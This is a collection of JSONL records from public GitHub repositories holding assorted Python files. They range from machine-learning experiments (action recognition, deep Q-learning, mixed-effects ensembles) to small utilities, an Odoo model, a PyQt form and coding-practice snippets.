\"-------------------\"])\n logger.info(f\"{status_mess}\\nSaving results to file: {h_filename}\")\n np.save(h_filename, H)\n\n with open(p_filename + \".pickle\", \"wb\") as f:\n pickle.dump(persis_info, f)\n\n return h_filename + \".npy\"\n\n\n# ===================== per-process numpy random-streams =======================\n\n\ndef add_unique_random_streams(persis_info, nstreams, seed=\"\"):\n \"\"\"\n Creates nstreams random number streams for the libE manager and workers\n when nstreams is num_workers + 1. Stream i is initialized with seed i by default.\n Otherwise the streams can be initialized with a provided seed.\n\n The entries are appended to the provided persis_info dictionary.\n\n .. code-block:: python\n\n persis_info = add_unique_random_streams(old_persis_info, nworkers + 1)\n\n Parameters\n ----------\n\n persis_info: :obj:`dict`\n\n Persistent information dictionary.\n :ref:`(example)`\n\n nstreams: :obj:`int`\n\n Number of independent random number streams to produce.\n\n seed: :obj:`int`\n\n (Optional) Seed for identical random number streams for each worker. If\n explicitly set to ``None``, random number streams are unique and seed\n via other pseudorandom mechanisms.\n\n \"\"\"\n\n for i in range(nstreams):\n if isinstance(seed, int) or seed is None:\n random_seed = seed\n else:\n random_seed = i\n\n if i in persis_info:\n persis_info[i].update(\n {\n \"rand_stream\": np.random.default_rng(random_seed),\n \"worker_num\": i,\n }\n )\n else:\n persis_info[i] = {\n \"rand_stream\": np.random.default_rng(random_seed),\n \"worker_num\": i,\n }\n return persis_info\n\n\n# A very specific exception to using the logger.\ndef eprint(*args, **kwargs):\n \"\"\"Prints a user message to standard error\"\"\"\n print(*args, file=sys.stderr, **kwargs)\n","repo_name":"Libensemble/libensemble","sub_path":"libensemble/tools/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":5769,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"3"} +{"seq_id":"32811291871","text":"import cv2\nimport numpy as np\nfrom collections import deque\nfrom pytube import YouTube\nimport tensorflow\nfrom tensorflow.keras.models import load_model\nfrom moviepy.editor import *\n\n\n\n\ndef download_youtube_videos(youtube_video_url, output_directory):\n '''\n This function downloads the youtube video whose URL is passed to it as an argument.\n Args:\n youtube_video_url: URL of the video that is required to be downloaded.\n output_directory: The directory path to which the video needs to be stored after downloading.\n Returns:\n title: The title of the downloaded youtube video.\n '''\n\n # Create a video object which contains useful information about the video.\n video = YouTube(youtube_video_url)\n\n # Retrieve the title of the video.\n title = video.title\n\n # filters out all the files with \"mp4\" extension\n stream = video.streams.filter(file_extension='mp4')[0]\n\n # Construct the output file path.\n output_file_path = f'{output_directory}'\n\n # Download the youtube video at the best available quality and store it to the contructed path.\n stream.download(output_file_path)\n\n # Return the video title.\n return title\n\ndef predict_on_video(output_file_path, SEQUENCE_LENGTH, model, video_file_path=0):\n '''\n This function will perform action recognition on a video using the specified model.\n Args:\n video_file_path: The path of the video stored in the disk on which the action recognition is to be performed.\n output_file_path: The path where the ouput video with the predicted action being performed overlayed will be stored.\n SEQUENCE_LENGTH: The fixed number of frames of a video that can be passed to the model as one sequence.\n '''\n\n # Initialize the VideoCapture object to read from the video file.\n video_reader = cv2.VideoCapture(video_file_path)\n\n # Get the width and height of the video.\n original_video_width = int(video_reader.get(cv2.CAP_PROP_FRAME_WIDTH))\n original_video_height = int(video_reader.get(cv2.CAP_PROP_FRAME_HEIGHT))\n\n # Initialize the VideoWriter Object to store the output video in the disk.\n video_writer = cv2.VideoWriter(output_file_path, cv2.VideoWriter_fourcc('M', 'P', '4', 'V'),\n video_reader.get(cv2.CAP_PROP_FPS), (original_video_width, original_video_height))\n\n # Declare a queue to store video frames.\n frames_queue = deque(maxlen=SEQUENCE_LENGTH)\n\n # Initialize a variable to store the predicted action being performed in the video.\n predicted_class_name = ''\n\n # Iterate until the video is accessed successfully.\n while video_reader.isOpened():\n\n # Read the frame.\n ok, frame = video_reader.read()\n\n # Check if frame is not read properly then break the loop.\n if not ok:\n break\n\n # Resize the Frame to fixed Dimensions.\n resized_frame = cv2.resize(frame, (IMAGE_HEIGHT, IMAGE_WIDTH))\n\n # Normalize the resized frame by dividing it with 255 so that each pixel value then lies between 0 and 1.\n normalized_frame = resized_frame / 255\n\n # Appending the pre-processed frame into the frames list.\n frames_queue.append(normalized_frame)\n\n # Check if the number of frames in the queue are equal to the fixed sequence length.\n if len(frames_queue) == SEQUENCE_LENGTH:\n # Pass the normalized frames to the model and get the predicted probabilities.\n predicted_labels_probabilities = model.predict(np.expand_dims(frames_queue, axis=0))[0]\n\n # Get the index of class with highest probability.\n predicted_label = np.argmax(predicted_labels_probabilities)\n\n # Get the class name using the retrieved index.\n predicted_class_name = classes_list[predicted_label]\n\n # Write predicted class name on top of the frame.\n cv2.putText(frame, predicted_class_name, (10, 30), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2)\n\n # Write The frame into the disk using the VideoWriter Object.\n video_writer.write(frame)\n\n cv2.imshow('Predicted Frames', frame)\n\n key_pressed = cv2.waitKey(10)\n\n if key_pressed == ord('q'):\n break\n\n cv2.destroyAllWindows()\n\n # Release the VideoCapture and VideoWriter objects.\n video_reader.release()\n video_writer.release()\n\n\n\nif __name__ == '__main__':\n classes_list = [\"WalkingWithDog\", \"TaiChi\", \"Swing\", \"HorseRace\", \"Lunges\", \"Punch\", \"PushUps\"]\n\n SEQUENCE_LENGTH = 20\n\n IMAGE_HEIGHT, IMAGE_WIDTH = 64, 64\n\n model1 = load_model('models/LRCN_model.h5')\n\n # Make the Output directory if it does not exist\n test_videos_directory = 'test_videos'\n os.makedirs(test_videos_directory, exist_ok=True)\n\n # Download a YouTube Video.\n # video_title = download_youtube_videos('https://www.youtube.com/watch?v=8u0qjmHIOcE', test_videos_directory)\n\n # Get the YouTube Video's path we just downloaded.\n # input_video_file_path = f'{test_videos_directory}/{video_title}.mp4'\n\n # Construct the output video path.\n output_video_file_path = f'Output-SeqLen{SEQUENCE_LENGTH}.mp4'\n\n # Perform Action Recognition on the Test Video.\n predict_on_video(output_video_file_path, SEQUENCE_LENGTH=20, model=model1, video_file_path=f'{test_videos_directory}/test_.mp4')\n\n # Display the output video.\n VideoFileClip(output_video_file_path, audio=False, target_resolution=(300, None)).ipython_display()\n\n\n\n","repo_name":"Divyan-shu-Singh/HumanActivityRecognition_cnn_lstm","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33887781291","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 14 11:36:33 2017\n\n@author: mo\n\nOn the Mountaincar environment: \n \n- The observation space is 2d: I = [-1.2,0.6]x[-0.07,0.07]\n- considered solved if avg ret is less than -110\n\n\"\"\"\n\nimport gym\nimport numpy as np\nimport random\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\nenv = gym.make('MountainCar-v0')\n\nSHOW_RET = False\nSHOW_MOVIE = True\n\n#parameters of Q learning algorithm\n\ngamma = .99\nalpha = .002\neps = .01\nnumber_of_episodes = 1000\nmax_steps = 500\nex_buffer_size = 10000\nn_hidden = 128\nbatch_size = 32\ntrain_tresh = 200\n\n# set up lists to capture data\n\nret_list = []\nim_list = []\ntraj_list = []\ncont_list = []\n\n# set up infra-structure for movie\n\nfig, ax = plt.subplots()\n\ngridpts = 100\nx = np.linspace(-1.2,.6,gridpts)\nx_prime = np.linspace(-.07,.07,gridpts)\ngrid = np.array(np.meshgrid(x,x_prime))\ngrid_lin = grid.reshape(2,gridpts*gridpts).transpose()\ngrid_act = np.ones((gridpts*gridpts,))\n\n\n# define the experience buffer\n\nclass experience_buffer():\n \n def __init__(self, buffersize):\n self.buffersize = buffersize\n self.buffer = []\n \n \n def append_to_buffer(self, a):\n self.buffer.append(a)\n \n if len(self.buffer) > self.buffersize:\n self.buffer = self.buffer[1:] \n \n def sample_batch(self, size):\n batch = random.sample(b.buffer,size)\n state_batch, action_batch, rew_batch, new_state_batch, done_batch = [],[],[],[],[]\n \n for (s,a,r,ns,d) in batch:\n state_batch.append(s)\n action_batch.append(a)\n new_state_batch.append(ns)\n rew_batch.append(rew)\n \n if d:\n done_batch.append(0)\n \n else:\n done_batch.append(1)\n \n state_batch_a = np.array(state_batch) \n action_batch_a = np.array(action_batch)\n rew_batch_a = np.array(rew_batch)\n new_state_batch_a = np.array(new_state_batch)\n done_batch_a = np.array(done_batch)\n \n return(state_batch_a,action_batch_a,rew_batch_a,new_state_batch_a, done_batch_a)\n \n \n# Construct the Q network\n\ntf.reset_default_graph()\n\n# define input variables, which will contain batches of input\n\nstates = tf.placeholder(dtype=tf.float32, shape=[None, env.observation_space.shape[0]])\n\n# define model parameters \n\nW1 = tf.Variable(tf.random_normal(shape=[env.observation_space.shape[0], n_hidden], stddev = 0.001))\nW2 = tf.Variable(tf.random_normal(shape=[n_hidden, env.action_space.n], stddev = 0.001))\nb1 = tf.Variable(tf.zeros(shape=[1,n_hidden]))\n\n# define nn model with one hidden layer and tanh activation function\n\nQout = tf.matmul(tf.nn.tanh(tf.matmul(states, W1) + b1),W2)\n\n# define loss\n\ntargetQs = tf.placeholder(shape=[None],dtype=tf.float32)\nactions = tf.placeholder(shape=[None],dtype=tf.int32)\nactions_onehot = tf.one_hot(actions,env.action_space.n,dtype=tf.float32)\n \nQ = tf.reduce_sum(Qout*actions_onehot, reduction_indices=1)\n \nerror = tf.square(targetQs - Q)\nloss = tf.reduce_mean(error)\n\n# define training function\n\ntrainer = tf.train.AdamOptimizer(learning_rate=alpha)\nupdateModel = trainer.minimize(loss)\n\ninit = tf.global_variables_initializer()\n\ndef update_network():\n \n # sample batch from experience buffer\n \n (s_b, a_b, rew_b, s_new_b, d_b) = b.sample_batch(batch_size)\n \n # calculate the targets using Q-learning update rule\n \n estimate_next_Q = sess.run(Qout, feed_dict={states: s_new_b})\n max_next_Q = np.amax(estimate_next_Q,1)\n targetQ_b = rew_b + gamma*max_next_Q*d_b\n \n # update the parameters of the model\n \n sess.run(updateModel, feed_dict={states: s_b, actions: a_b, targetQs: targetQ_b})\n \ndef eps_greedy_policy(s):\n \n Qout_ = sess.run(Qout, feed_dict={states: s})\n\n if np.random.rand(1) < eps:\n a = np.random.randint(0,env.action_space.n)\n \n else:\n a = np.argmax(Qout_)\n \n return a\n\nwith tf.Session() as sess:\n \n # init the tf session and the memory buffer\n \n sess.run(init) \n b = experience_buffer(ex_buffer_size)\n \n # enter into core algorithm\n \n for i in range(number_of_episodes):\n \n if i%10 == 0:\n print(\"Now doing episode %i\" %i)\n \n s = np.array([env.reset()])\n traj = []\n ret = 0\n \n for t in range(max_steps):\n \n # look for the next action\n \n a = eps_greedy_policy(s)\n \n #do transition \n \n (s_new, rew, done, _) = env.step(a)\n \n #store transition in buffer\n \n b.append_to_buffer((s[0],a,rew,s_new, done))\n ret = ret + rew\n traj.append(s[0])\n \n # As soon as enough transitions are gathered, start to train network\n \n if len(b.buffer) > train_tresh:\n update_network()\n \n # every 40 steps, take a shot for the movie\n \n if t%40 == 0:\n \n # Evaluate current estimate of optimal q function\n \n Q_0 = sess.run(Q, feed_dict={states: grid_lin, actions: 0*grid_act})\n Q_1 = sess.run(Q, feed_dict={states: grid_lin, actions: 1*grid_act})\n Q_2 = sess.run(Q, feed_dict={states: grid_lin, actions: 2*grid_act})\n \n C = np.zeros(np.shape(Q_0))\n \n # construct plateau function encoding greedy choice of action\n \n C[(Q_0 > Q_1) * (Q_0 > Q_2)] = 0\n C[(Q_1 > Q_0) * (Q_1 > Q_2)] = 1\n C[(Q_2 > Q_0) * (Q_2 > Q_1)] = 2\n \n # from estimate of q, calculate estimate of v\n \n V = np.maximum(Q_0,Q_1,Q_2).reshape(100,100)\n \n \n im_list.append(V)\n cont_list.append(C.reshape(100,100))\n traj_list.append(traj)\n \n # advance to next step\n \n s = np.array([s_new])\n \n if done or t == max_steps - 1:\n print(\"Return in last episode: %f\" %ret)\n ret_list.append(ret)\n break\n \n\n# hollywood section: making a movie of different quatities \n\n# plot value function as colour map\n\nmax_V = np.max(np.array(im_list))\nmin_V = np.min(np.array(im_list)) \nax.imshow(im_list[0], cmap=plt.get_cmap('jet'), vmin=min_V, vmax=max_V, extent=(-1.2,.6,-.07,.07), aspect='auto')\n\n# plot trajectory as curve\n\na = np.array(traj_list[0])\nx = a[:,0]\ny = a[:,1]\nax.plot(x,y)\n\n# plot contours of plateau function encoding greedy choice of action\n\nax.contour(grid[0], grid[1], cont_list[0])\n\ndef updatefig(j):\n\n ax.clear()\n\n # plot valuefunction as colour map \n \n ax.imshow(im_list[j], cmap=plt.get_cmap('jet'), vmin=min_V, vmax=max_V, extent=(-1.2,.6,-.07,.07), aspect='auto')\n\n # plot trajectory as curve\n \n a = np.array(traj_list[j])\n x = a[:,0]\n y = a[:,1]\n ax.plot(x,y)\n \n # plot contours of plateau function encoding greedy choice of action\n \n try:\n ax.contour(grid[0], grid[1], cont_list[j])\n \n except ValueError:\n pass\n\n return ax\n\nani = animation.FuncAnimation(fig, updatefig, frames=range(len(im_list)), interval=2, blit=False)\n\nif SHOW_MOVIE:\n plt.show()\n\nif SHOW_RET:\n plt.plt(ret_list)\n ","repo_name":"MoritzMoeller/reinforcement_learning","sub_path":"deep_q_learning.py","file_name":"deep_q_learning.py","file_ext":"py","file_size_in_byte":7667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71688198161","text":"import numpy as np\nimport cv2\nimport os\n\nloc_src_1 = \"../../Dataset/img_preprocessed_set_1/\"\nloc_src_2 = \"../../Dataset/img_preprocessed_set_2/\"\n\ndef getClassNum(video_file_name):\n \"\"\"does some string operations to obtain class num\"\"\"\n file_parts = video_file_name.split('_')\n class_of_file = int(file_parts[0])\n return class_of_file\n\ndef readImg(file_name, loc_src):\n file_loc = loc_src + file_name\n img = cv2.imread(file_loc)\n img = cv2.resize(img, (32, 32))\n # img = cv2.resize(img, (28, 28)) ## for autoencoder\n return img\n\ndef load_data():\n X, y = [], []\n file_names = os.listdir(loc_src_1)\n for file in file_names:\n y.append(getClassNum(file))\n img = readImg(file, loc_src_1)\n X.append(img[:,:,0])\n\n file_names = os.listdir(loc_src_2)\n for file in file_names:\n y.append(getClassNum(file))\n img = readImg(file, loc_src_2)\n X.append(img[:,:,0])\n return X, y\n\ndef main():\n X, y = load_data()\n\nif __name__ == '__main__':\n main()\n","repo_name":"askmuhsin/human_activity_recognition","sub_path":"get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"14598041535","text":"# delete loops\n# translate to asp\n# solve\n\nfrom pyasp.asp import *\n\n\ndef asp_exhaust_solve(fn_model):\n g_options = ''\n s_options = '1'\n solver = Gringo4Clasp(gringo_options=g_options, clasp_options=s_options)\n encoding = 'reachability.lp'\n facts = fn_model\n result = solver.run([encoding, facts], collapseTerms=True, collapseAtoms=False)\n print(result)\n\n\n# for s in result:\n# if Term('unreachable') in s:\n# return False, iteration\n# if Term('reachable') in s:\n# s.remove(Term('reachable'))\n# return True, iteration, s.to_list()\n# return False, iteration\n\n\nif __name__ == \"__main__\":\n asp_exhaust_solve(\"tcr.lp\")\n asp_exhaust_solve(\"th.lp\")\n asp_exhaust_solve(\"test.lp\")\n","repo_name":"XinweiChai/reach_and_revision","sub_path":"reach.py","file_name":"reach.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37141513826","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\n\n\nclass AccountMove(models.Model):\n _inherit = ['account.move']\n\n lot_id = fields.Many2one(\n 'account.analytic.account', \n domain=\"[('is_a_lot', '=', True)]\",\n string=\"Lot to paid\", \n help=\"Select the Lot that will be paid\")\n\n lot_section = fields.Integer(related=\"lot_id.lot_section\", \n string=\"Section\", \n help=\"Section for this Lot\",\n store=True)\n \n crop_id = fields.Many2one(\n 'product.product',\n domain=\"[('pack_ok', '=', True)]\",\n string=\"Crop to Paid\", \n help=\"Select the Crop that will be Paid\")\n\n season_ids = fields.Many2many(\n 'account.analytic.tag',\n string=\"Season and Crop Paid\", \n help=\"Select Season and Crop to Paid\")\n\n \n season_name = fields.Char(\n string=\"Seson Paid\",\n help=\"Season Paid in this invoice\",\n store=False,\n compute=\"_get_season_paid\")\n\n @api.depends('season_name')\n def _get_season_paid(self):\n for rec in self:\n season_name = ''\n for season in rec.season_ids:\n for crop in self.crop_id:\n if season.name != crop.name:\n season_name = season.name\n break\n rec.season_name = season_name\n\n\n # @api.onchange(\"crop_id\")\n # def onchange_crop_id(self):\n # if self.crop_id.pack_ok:\n # self.mapped('invoice_line_ids').unlink()\n # analytic_ids = [self.season_id]\n # aml = self.env['account.move.line']\n # for product in self.crop_id.pack_line_ids: \n # inv_line = {\n # 'move_id': self.id.origin,\n # 'product_id': product.product_id.id, \n # 'analytic_account_id': self.lot_id.id, \n # 'analytic_tag_ids': [(6, 0, analytic_ids)], \n # 'quantity': self.lot_id.lot_size,\n # 'price_unit': product.product_id.lst_price,\n # }\n # aml.with_context(check_move_validity=False).create(inv_line)\n \n # return\n\n\n\n ","repo_name":"DavidPerezPC/pcsystems","sub_path":"addons/aupa/models/account_move.py","file_name":"account_move.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35934040245","text":"#2 Zip the 2 lists into a list of tuples, but sort the numbers from lowest to highest.\nmy_strings = ['a', 'b', 'c', 'd', 'e']\nmy_numbers = [5,4,3,2,1]\n\n\nlst = list(zip(my_strings,my_numbers))\n\nlst.sort(key=lambda x: x[1])\n\nsorted_list = [i[1] for i in lst]\n\nprint(sorted_list)","repo_name":"choubeyji-git/Python-Coding-Interview-questions","sub_path":"code_practice/hof/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"45207809698","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# @author: x.huang\n# @date:07/05/18\nimport sys\nimport logging\nfrom .base import AbstractLoader\nimport aioredis\n\n\nclass AioRedis(AbstractLoader):\n _redis_pool = None\n\n @classmethod\n async def load(cls, **kwargs):\n address = kwargs.pop('address')\n port = kwargs.pop('port')\n\n address_url = f'redis://{address}:{port}'\n if not cls._redis_pool:\n try:\n cls._redis_pool = await aioredis.create_redis_pool(address_url, **kwargs)\n except Exception:\n # redis 连接失败 退出程序\n logging.error('redis connect fail.', exc_info=True)\n sys.exit(1)\n return cls._redis_pool\n","repo_name":"huangxingx/python-framework-async","sub_path":"webar/core/loader/redis.py","file_name":"redis.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"30725955454","text":"\"\"\"\nCreate a submodel for one covariate-knockout pair.\n\"\"\"\nimport matplotlib\nimport statsmodels.formula.api as smf\nimport pandas as pd\nimport numpy as np\nfrom math import sqrt\nimport logging\nimport matplotlib.pyplot as plt\nimport pylab\nfrom tqdm import tqdm_notebook as tqdm\nimport rpy2\nfrom rpy2.robjects import pandas2ri\npandas2ri.activate()\nfrom rpy2 import robjects\nfrom rpy2.robjects.packages import importr\n\nfrom sklearn.base import BaseEstimator\nfrom sklearn.base import RegressorMixin\n\nnlme = importr('nlme')\nlme4 = importr('lme4')\nbase = importr('base')\nstats = importr('stats')\n\nlogger = logging.getLogger(__name__)\n\nclass Submodel(BaseEstimator, RegressorMixin):\n def __init__(self, response, fixed_effects, random_effects=['super_region', 'region_nest', 'country_nest']):\n \"\"\"\n Initiates a submodel with the specified response, fixed effects,\n and random effect variables.\n\n :param response: string of response name used to fit\n :param fixed_effects: list of covariate names\n :param groups: name of variable to use as highest level group random effect\n :param nested: dictionary describing variance components, random effects\n options for these are region_nest, country_nest, and/or age_nest\n \"\"\"\n self.response = response\n self.fixed_effects = fixed_effects\n self.random_effects = random_effects\n self.model_formula()\n\n def model_formula(self):\n \"\"\"\n Create the string of covariates and outcome to submit to statsmodels.\n\n :param response: one of ln_rate or lt_cf\n :param covariates: list of covariate names\n :returns: a model formula to use in mixedlm\n \"\"\"\n self.formula = self.response + \" ~\"\n for fe in self.fixed_effects:\n self.formula = self.formula + \" + \" + fe\n for re in self.random_effects:\n self.formula = self.formula + \" + (1|\" + re + \") \"\n\n def check_convergence(self, model):\n \"\"\"\n Checks for convergence of the lme4 object.\n \"\"\"\n messages = model.slots['optinfo'].rx2(\"conv\").rx2(\"lme4\").rx2(\"messages\")\n if tuple(model.rclass)[0] != 'lmerMod':\n return False\n elif type(messages) != rpy2.rinterface.NULLType:\n if \"failed to converge\" in ' '.join(messages):\n return False\n else:\n return True\n else:\n return True\n\n def fit(self, df):\n \"\"\"\n Function fits the regression with given covariates, response,\n and random effects to the given data frame. In model fitting,\n subset to only complete cases.\n\n :param df: data frame with the response values, fixed effects,\n and random effect\n \"\"\"\n self.betas = None\n formula = self.formula\n\n for re in self.random_effects:\n df[re] = df[re].astype(str)\n\n df = df.loc[~df[self.response].isnull()]\n robjects.globalenv['dataframe'] = df\n self.mdf = lme4.lmer(formula, data=base.as_symbol('dataframe'))\n \n if not self.check_convergence(self.mdf):\n self.mdf = None\n logger.info(\"classifier failed to converge\")\n else:\n if len(np.array(nlme.fixef(self.mdf))) < len(self.fixed_effects) + 1:\n self.mdf = None\n logger.info(\"singular matrix -- skipping\")\n else:\n self.betas = np.array(nlme.fixef(self.mdf))\n return self\n\n def predict(self, df, draw=False):\n \"\"\"\n Predicts y-hat for response variable given a new data frame.\n Will take a draw from the fixed effects if doing draws.\n\n :param df: data frame with response, fixed and random effects\n :param draw: (bool) want to take draws?\n \"\"\"\n if self.mdf is None:\n raise NotImplementedError(\"Oops! This model didn't converge. Try another.\")\n betas = np.array(nlme.fixef(self.mdf))\n nm = len(betas)\n if draw:\n vcov = np.array(base.matrix(stats.vcov(self.mdf), nm, nm))\n betas = np.random.multivariate_normal(betas, vcov)\n intercept = np.ones((len(df), 1))\n X = np.hstack([intercept, np.array(df[self.fixed_effects])])\n preds = np.matmul(X, betas)\n ranef = nlme.ranef(self.mdf)\n ranef = dict(zip(ranef.names, list(ranef)))\n res = {}\n for k in ranef.keys():\n RE = ranef[k]\n vals = np.array(base.matrix(RE))\n nams = robjects.StrVector(base.labels(RE)[0])\n nams = [n for n in nams]\n res[k] = dict(zip(nams, vals.ravel().tolist()))\n for re in self.random_effects:\n re_pred = df[re].astype(str).map(res[re]).values\n re_pred = np.nan_to_num(re_pred)\n preds = preds + re_pred\n return preds\n\n def rmse(self, df):\n \"\"\"\n Calculates root-mean-squared-error of predictions, y-hat.\n\n :param df: data frame with response, fixed and random effects\n \"\"\"\n logger.info(\"Computing RMSE.\")\n if self.mdf is None:\n return np.nan\n else:\n return np.nanmean((self.predict(df) - df[self.response].values)**2)**0.5\n\n def rmse_mean(self, trainings, tests):\n \"\"\"\n Calculates average RMSE across training-test sets.\n Don't use this in the ensemble wrapper.\n THIS FUNCTION RE-FITS THE CLASSIFIER\n\n :param trainings: list of training datasets\n :param tests: list of test datasets\n \"\"\"\n logger.info(\"Computing rmse mean across test-training for single classifier.\")\n assert len(trainings) == len(tests), \"Must pass the same number of test and train datasets!\"\n rmse = list()\n for train, test in zip(trainings, tests):\n self.fit(train)\n rmse.append(self.rmse(test))\n return np.nanmean(rmse)\n\n def generate_draws(self, df, n_draws, refit=True):\n \"\"\"\n Generate n_draws draws from the submodel on a given\n dataset.\n\n :param refit: (bool) whether or not to re-fit the\n classifier on the df passed\n :param n_draws: (int) number of draws to produce\n \"\"\"\n logger.info(\"In the generate draws for submodel classifier.\")\n if refit:\n logger.info(\"Refit yes\")\n self.fit(df)\n logger.info(\"Predictions!!\")\n logger.info(\"Going to make n_draws {}\".format(n_draws))\n predictions = np.array([self.predict(df, draw=True) for i in range(n_draws)])\n logger.info(\"Made the preds successfully!\")\n return predictions\n\n def plot_predictions(self, df, querystring, ages, titleadd=\"\"):\n \"\"\"\n Plot time-series predictions and raw data for a given location\n and a list of ages given.\n\n :param df: data frame on which to make the predictions\n :param querystring: pandas query to subset df (e.g. by location ID)\n :param ages: list of ages to include\n :param titleadd: (str) string to append onto title\n \"\"\"\n df['predictions'] = self.predict(df)\n df_sub = df.query(querystring).sort_values('year')\n fig, axes = plt.subplots(1, len(ages), figsize=(20, 10), facecolor='white', sharey='row')\n i = 0\n for axis in axes:\n # sub = df_sub.query('age == {}'.format(ages[i]))\n sub = df_sub.loc[df_sub.age == ages[i]].copy()\n location_name = sub.location.unique()[0]\n axis.plot(sub['year'], sub[self.response], 'ro')\n axis.plot(sub['year'], sub['predictions'])\n axis.set_title(ages[i])\n if self.response == \"ln_rate\":\n ylabel = \"Log Death Rate\"\n else:\n ylabel = \"Logit Cause Fraction\"\n if i == 0:\n axis.set_ylabel(ylabel)\n i+=1\n plt.suptitle('Predictions for {} \\n'.format(location_name) + titleadd)\n\n","repo_name":"mbannick/simple-ensemble","sub_path":"src/ensemble/submodel.py","file_name":"submodel.py","file_ext":"py","file_size_in_byte":8012,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"28769082675","text":"import pathlib\nfrom setuptools import setup\n\n# The directory containing this file\nHERE = pathlib.Path(__file__).parent\n\n# The text of the README file\nREADME = (HERE / \"README.md\").read_text()\n\n# This call to setup() does all the work\nsetup(\n name=\"bibimbap\",\n version=\"1.0.2\",\n description=\"selenium based visual automation testing tool\",\n long_description=README,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/sh1223/bibimbap\",\n author=\"Seonghwan KIM\",\n author_email=\"seonghwankim86@gmail.com\",\n license=\"\",\n classifiers=[\n \"Programming Language :: Python :: 3.7\",\n ],\n packages=[\"bibimbap\"],\n include_package_data=True,\n install_requires=[\"selenium\", \"Pillow\"],\n)","repo_name":"sh1223/bibimbap","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39773374930","text":"# cook your dish here\nt= int(input())\nfor i in range(t):\n n=int(input())\n s=input()\n m=n//2\n if(s[0:m]==s[m:n]):\n print(\"YES\")\n else:\n print(\"NO\")\n","repo_name":"kaviyapriyavkl/CodeChef","sub_path":"python/brokenstring.py","file_name":"brokenstring.py","file_ext":"py","file_size_in_byte":176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35015168519","text":"#in this page the user adds a new class\r\n\r\nfrom PyQt5.QtWidgets import (QWidget, QLineEdit, QLabel, QVBoxLayout,\r\n QHBoxLayout, QSpacerItem, QSizePolicy, QPushButton)\r\nfrom PyQt5.QtCore import Qt\r\n\r\n\r\nclass addPage(QWidget):\r\n def __init__(self):\r\n super().__init__()\r\n self.initUi()\r\n\r\n def initUi(self):\r\n main_layout = QVBoxLayout(self)\r\n main_layout.setAlignment(Qt.AlignCenter)\r\n\r\n label = QLabel(\"Class name\", self)\r\n main_layout.addWidget(label)\r\n\r\n self.line = QLineEdit(self)\r\n self.line.setPlaceholderText(\"Enter class name\")\r\n main_layout.addWidget(self.line)\r\n\r\n self.add = QPushButton(\"Add class\", self)\r\n main_layout.addWidget(self.add)\r\n\r\n self.cancel = QPushButton(\"Cancel\", self)\r\n main_layout.addWidget(self.cancel)\r\n","repo_name":"derbdev/ScanPresence","sub_path":"ScanPresence/source code/AddPage.py","file_name":"AddPage.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71199076243","text":"# Need some way to get configuration data around\n\nimport io\nimport os\n\ndef get_prop(prop):\n\ttry: \n\t\tconfFile = open(\"../conf/\" + prop, 'r')\n\t\tval = confFile.read().replace(\"\\n\", \"\")\n\t\tconfFile.close()\n\t\treturn(val)\n\texcept:\n\t\treturn(0)\n\t\t\ndef set_prop(prop, val):\n\tconfFile = build_config_file(prop)\n\tconfFile.write(val + \"\\n\")\n\tconfFile.close()\n\ndef check_prop_exist(prop):\n\ttry:\n\t\tif (os.file.exists(\"../conf/\" + prop)):\n\t\t\treturn True\n\t\telse: return False\n\texcept:\n\t\treturn False\n\ndef build_config_file(name):\n\tif (not os.path.exists(\"../conf\")): os.system(\"mkdir ../conf\")\n\tos.system(\"touch ../conf/\" + name)\n\treturn open(\"../conf/\" + name, 'w')\n\n","repo_name":"big-penguin/kew-converter","sub_path":"scripts/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7991525362","text":"# python -m venv C:\\Users\\pc\\MyCodebase\\Streamlit\\sltest\r\n# activate\r\n# python -m pip install --upgrade pip\r\n# pip install streamlit\r\n# pip install requests\r\n\r\n# pip install wheel\r\n# pip install web3 \r\n# nel caso di errore Visual C++: https://aka.ms/vs/16/release/vs_buildtools.exe\r\n# Install Visual C++ Build tools core features, Visual C++ 2019 Redistributable Update\r\n# like here https://i.stack.imgur.com/lEV8r.png\r\n# then select \"Modify\" and then \"Individual Components\" and install the \"Windows 10 SDK\"\r\n# it shuold ask to reboot. do it\r\n\r\n# pip freeze (per vedere le versioni da mettere in requirements.txt)\r\n# streamlit run main.py\r\n# ctrl+C\r\n# deactivate\r\n\r\n# principali endpoint delle API di OpenSea 